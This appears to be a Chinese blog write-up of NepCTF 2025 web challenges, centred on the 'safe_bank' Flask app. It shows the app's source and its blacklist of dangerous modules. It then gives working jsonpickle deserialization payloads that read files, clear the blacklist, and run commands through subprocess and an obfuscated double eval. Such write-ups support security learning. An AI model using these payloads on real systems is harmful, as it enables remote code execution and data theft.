Nepctf2025-web

NepCTF2025 - WEB

唉,java出了三个签到题,难度高的sql,xss又是我最不会的,中等难度的python又看不懂

没了drun1baby师傅出题,java感觉确实不行

groovy

两个直接问gpt就出了

javaSeri

工具一把梭

safe_bank

看了挺久,但真看不懂python源码,也不会写python。。。

image-20250730211107214

看到这个我就知道是大概的解题思路

然后就看jsonpickle了

从源码看JsonPickle反序列化利用与绕WAF-先知社区 (aliyun.com)

{"py/object": "glob.glob", "py/newargsex":[{"py/set":["/*"]},""]}

{"py/object": "linecache.getlines", "py/newargsex": [{"py/set":["/*"]]}

这两个还能用,套在user中就能回显,读取源码

from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time

app = Flask(__name__)
app.secret_key = os.urandom(24)

class Account:
    def __init__(self, uid, pwd):
        self.uid = uid
        self.pwd = pwd

class Session:
    def __init__(self, meta):
        self.meta = meta

users_db = [
    Account("admin", os.urandom(16).hex()),
    Account("guest", "guest")
]

def register_user(username, password):
    for acc in users_db:
        if acc.uid == username:
            return False
    users_db.append(Account(username, password))
    return True

FORBIDDEN = [
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb',  'pickle', 'marshal',
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\\\\\', 'posix',
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json'
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
    '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

def waf(serialized):
    try:
        data = json.loads(serialized)
        payload = json.dumps(data, ensure_ascii=False)
        for bad in FORBIDDEN:
            if bad in payload:
                return bad
        return None
    except:
        return "error"

@app.route('/')
def root():
    return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        confirm_password = request.form.get('confirm_password')
        
        if not username or not password or not confirm_password:
            return render_template(\'register.html\', error="所有字段都是必填的。")
        
        if password != confirm_password:
            return render_template(\'register.html\', error="密码不匹配。")
            
        if len(username) < 4 or len(password) < 6:
            return render_template(\'register.html\', error="用户名至少需要4个字符,密码至少需要6个字符。")
        
        if register_user(username, password):
            return render_template(\'index.html\', message="注册成功!请登录。")
        else:
            return render_template(\'register.html\', error="用户名已存在。")
    
    return render_template('register.html')

@app.post('/auth')
def auth():
    u = request.form.get("u")
    p = request.form.get("p")
    for acc in users_db:
        if acc.uid == u and acc.pwd == p:
            sess_data = Session({'user': u, 'ts': int(time.time())})
            token_raw = jsonpickle.encode(sess_data)
            b64_token = base64.b64encode(token_raw.encode()).decode()
            resp = make_response("登录成功。")
            resp.set_cookie("authz", b64_token)
            resp.status_code = 302
            resp.headers['Location'] = '/panel'
            return resp
    return render_template(\'index.html\', error="登录失败。用户名或密码无效。")

@app.route('/panel')
def panel():
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for(\'root\', error="缺少Token。"))
    
    try:
        decoded = base64.b64decode(token.encode()).decode()
    except:
        return render_template(\'error.html\', error="Token格式错误。")
    
    ban = waf(decoded)
    if waf(decoded):
        return render_template(\'error.html\', error=f"请不要黑客攻击!{ban}")
    
    try:
        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta
        
        if meta.get("user") != "admin":
            return render_template('user_panel.html', username=meta.get('user'))
        
        return render_template('admin_panel.html')
    except Exception as e:
        return render_template(\'error.html\', error=f"数据解码失败。")

@app.route('/vault')
def vault():
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root'))

    try:
        decoded = base64.b64decode(token.encode()).decode()
        if waf(decoded):
            return render_template(\'error.html\', error="请不要尝试黑客攻击!")
        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta
        
        if meta.get("user") != "admin":
            return render_template(\'error.html\', error="访问被拒绝。只有管理员才能查看此页面。")
            
        flag = "NepCTF{fake_flag_this_is_not_the_real_one}"
            
        return render_template('vault.html', flag=flag)
    except:
        return redirect(url_for('root'))

@app.route('/about')
def about():
    return render_template('about.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

考虑怎么绕过黑名单

然后就在不断试newargsex和newargs、__builtin__,尝试置空黑名单

最后还是没解出来

赛后看到LamentXU师傅思路

置空黑名单

list.clear()方法置空数组

__main__.FORBIDDEN.clear

我在尝试的时候只试过__main__.FORBIDDEN,根本不知道还能这样用,因为我看例子中都是模块.方法

{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753446254}}

然后随便一种执行/readflag即可

{"py/object": "__main__.Session", "meta": {"user": {"py/object":"subprocess.getoutput","py/newargs": ["/readflag"]},"ts":1753446254}}

命令执行

image-20250730212423501

为了兼容python2和python3

__builtin__exceptions都当作builtins

这也是为什么我当时在本地测试时可以成功执行的原因(后面没做出来是因为eval要执行python代码,我还以为能直接执行/readflag呢,然后一直报错,我就以为远程不能用呢)

能执行python代码就考虑怎么绕过

采用’’.join()来绕过

exp = '''{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__builtin__.eval","py/newargs": [{"py/object":"__builtin__.eval","py/newargs":["''.join(['_','_','i','m','p','o','r','t','_','_','(','\\\"','o','s','\\\"',')','.','p','o','p','e','n','(','\\\"','/r','e','a','d','f','l','a','g','\\\"',')','.','r','e','a','d','(',')'])"]}]}}}'''

采用两次eval,第一次执行,合并成字符串,第二次就是执行代码

image-20250730213204789

fake_xss

没看

好像前半段是一个腾讯云oss,然后拿js代码,感觉挺有趣

后面是xss,没兴趣

sql

clickhouse数据库

主要还是翻文档吧,我连黑名单都绕不过

reference

nepctf 2025 web wp - LamentXU - 博客园 (cnblogs.com)

finally

java题挺没意思的,唉,没前两年有意思


Nepctf2025-web
https://zer0peach.github.io/2025/07/30/Nepctf2025-web/
作者
Zer0peach
发布于
2025年7月30日
许可协议